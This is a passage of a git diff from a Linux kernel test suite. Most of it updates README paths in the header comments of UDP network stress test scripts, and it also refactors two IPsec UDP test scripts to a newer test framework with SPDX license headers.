+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07 b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07
index 257d5a8..4997ec2 100644
--- a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07
+++ b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01 b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01
index a09eb65..dcd5d15 100644
--- a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01
+++ b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01
@@ -30,7 +30,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02 b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02
index e3ef4b5..ea26ffa 100644
--- a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02
+++ b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03 b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03
index d30538d..b7f810f 100644
--- a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03
+++ b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04 b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04
index a03f85a..0bdba0b 100644
--- a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04
+++ b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05 b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05
index 8fc94b0..c659c79 100644
--- a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05
+++ b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06 b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06
index ec98db8..f84ed3d 100644
--- a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06
+++ b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07 b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07
index 94b3379..6c7e38a 100644
--- a/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07
+++ b/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01
index 20ff259..697dbcb 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01
@@ -33,7 +33,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02
index 281c375..1d313c0 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03
index 3a4b6c0..bb6f72a 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04
index cb43afd..3b5cc09 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05
index 349764c..9a86842 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06
index c5c3f63..34e0719 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07
index 4c56dc5..d7d722a 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01
index 31ad71f..58ed34e 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01
@@ -30,7 +30,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02
index 5101292..4993c71 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03
index 5a74c44..924fc19 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04
index 43c0c23..ef7a1a5 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05
index 531f09c..f445910 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06
index 4a9e134..58e7953 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07
index 5d87d05..191e8ee 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01 b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01
index d130ff9..5c501c3 100644
--- a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01
+++ b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01
@@ -33,7 +33,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02 b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02
index bba2c63..0ce757b 100644
--- a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02
+++ b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03 b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03
index e787032..44fdc07 100644
--- a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03
+++ b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04 b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04
index 6be5fff..41d933f 100644
--- a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04
+++ b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05 b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05
index ec1b75c..31a5937 100644
--- a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05
+++ b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06 b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06
index 437f8d7..50666e0 100644
--- a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06
+++ b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07 b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07
index 3f34a6e..74a908b 100644
--- a/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07
+++ b/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01 b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01
index 7949af5..fdebb2b 100644
--- a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01
+++ b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01
@@ -30,7 +30,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02 b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02
index b9a5bd1..c7c948e 100644
--- a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02
+++ b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03 b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03
index 8da2709..69266e3 100644
--- a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03
+++ b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04 b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04
index f83207c..5022393 100644
--- a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04
+++ b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05 b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05
index 606c24f..4c7f97e 100644
--- a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05
+++ b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06 b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06
index 69a8107..e854538 100644
--- a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06
+++ b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07 b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07
index 8221830..f0896dd 100644
--- a/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07
+++ b/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/udp_ipsec.sh b/testcases/network/stress/udp/udp_ipsec.sh
index ef9c31e..b59070e 100755
--- a/testcases/network/stress/udp/udp_ipsec.sh
+++ b/testcases/network/stress/udp/udp_ipsec.sh
@@ -1,47 +1,22 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=udp_ipsec
-TST_TOTAL=3
 TST_NEEDS_TMPDIR=1
-TST_CLEANUP="tst_ipsec_cleanup"
-
+TST_TESTFUNC=do_test
+TST_SETUP=tst_ipsec_setup
+TST_CNT=2
+TST_CLEANUP=tst_ipsec_cleanup
 . ipsec_lib.sh
 
-do_setup()
-{
-	# Configure SAD/SPD
-	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
-		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
-		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
-	fi
-}
-
 do_test()
 {
-	for p in $IPSEC_SIZE_ARRAY; do
-		tst_netload -H $(tst_ipaddr rhost) -T udp -n $p -N $p \
-			-r $IPSEC_REQUESTS
-	done
+	local type="udp"
+	[ $1 -eq 2 ] && type="udp_lite"
+
+	tst_netload -H $(tst_ipaddr rhost) -T $type -n $2 -N $2 -r $IPSEC_REQUESTS
 }
 
-do_setup
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/udp/udp_ipsec_vti.sh b/testcases/network/stress/udp/udp_ipsec_vti.sh
index c6d76c1..65b48ea 100755
--- a/testcases/network/stress/udp/udp_ipsec_vti.sh
+++ b/testcases/network/stress/udp/udp_ipsec_vti.sh
@@ -1,38 +1,22 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=udp_ipsec_vti
-TST_TOTAL=3
 TST_NEEDS_TMPDIR=1
-TST_CLEANUP="tst_ipsec_cleanup"
-
+TST_TESTFUNC=do_test
+TST_CNT=2
+TST_SETUP=tst_ipsec_setup_vti
+TST_CLEANUP=tst_ipsec_cleanup
 . ipsec_lib.sh
 
 do_test()
 {
-	for p in $IPSEC_SIZE_ARRAY; do
-		tst_netload -H $ip_rmt_tun -T udp -n $p -N $p \
-			-r $IPSEC_REQUESTS
-	done
+	local type="udp"
+	[ $1 -eq 2 ] && type="udp_lite"
+
+	tst_netload -H $ip_rmt_tun -T $type -n $2 -N $2 -r $IPSEC_REQUESTS
 }
 
-tst_ipsec_setup_vti
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/udp/uni-basic/udp4-uni-basic01 b/testcases/network/stress/udp/uni-basic/udp4-uni-basic01
index e7f4d9f..a15c32f 100644
--- a/testcases/network/stress/udp/uni-basic/udp4-uni-basic01
+++ b/testcases/network/stress/udp/uni-basic/udp4-uni-basic01
@@ -33,7 +33,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp4-uni-basic02 b/testcases/network/stress/udp/uni-basic/udp4-uni-basic02
index f25dc1b..4f69347 100644
--- a/testcases/network/stress/udp/uni-basic/udp4-uni-basic02
+++ b/testcases/network/stress/udp/uni-basic/udp4-uni-basic02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp4-uni-basic03 b/testcases/network/stress/udp/uni-basic/udp4-uni-basic03
index 20e6cf7..8f0d43a 100644
--- a/testcases/network/stress/udp/uni-basic/udp4-uni-basic03
+++ b/testcases/network/stress/udp/uni-basic/udp4-uni-basic03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp4-uni-basic04 b/testcases/network/stress/udp/uni-basic/udp4-uni-basic04
index 2c4ad4c..8197e05 100644
--- a/testcases/network/stress/udp/uni-basic/udp4-uni-basic04
+++ b/testcases/network/stress/udp/uni-basic/udp4-uni-basic04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp4-uni-basic05 b/testcases/network/stress/udp/uni-basic/udp4-uni-basic05
index 8bc9beb..0271239 100644
--- a/testcases/network/stress/udp/uni-basic/udp4-uni-basic05
+++ b/testcases/network/stress/udp/uni-basic/udp4-uni-basic05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp4-uni-basic06 b/testcases/network/stress/udp/uni-basic/udp4-uni-basic06
index 96bdf31..848aa23 100644
--- a/testcases/network/stress/udp/uni-basic/udp4-uni-basic06
+++ b/testcases/network/stress/udp/uni-basic/udp4-uni-basic06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp4-uni-basic07 b/testcases/network/stress/udp/uni-basic/udp4-uni-basic07
index 8f07986..336a213 100644
--- a/testcases/network/stress/udp/uni-basic/udp4-uni-basic07
+++ b/testcases/network/stress/udp/uni-basic/udp4-uni-basic07
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp6-uni-basic01 b/testcases/network/stress/udp/uni-basic/udp6-uni-basic01
index aa8cac7..7222aa7 100644
--- a/testcases/network/stress/udp/uni-basic/udp6-uni-basic01
+++ b/testcases/network/stress/udp/uni-basic/udp6-uni-basic01
@@ -30,7 +30,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp6-uni-basic02 b/testcases/network/stress/udp/uni-basic/udp6-uni-basic02
index 25330b7..9e91be6 100644
--- a/testcases/network/stress/udp/uni-basic/udp6-uni-basic02
+++ b/testcases/network/stress/udp/uni-basic/udp6-uni-basic02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp6-uni-basic03 b/testcases/network/stress/udp/uni-basic/udp6-uni-basic03
index 9c4392d..7c6efa0 100644
--- a/testcases/network/stress/udp/uni-basic/udp6-uni-basic03
+++ b/testcases/network/stress/udp/uni-basic/udp6-uni-basic03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/uni-basic/udp6-uni-basic04 b/testcases/network/stress/udp/uni-basic/udp6-uni-basic04
index 6142a1e..abfb603 100644
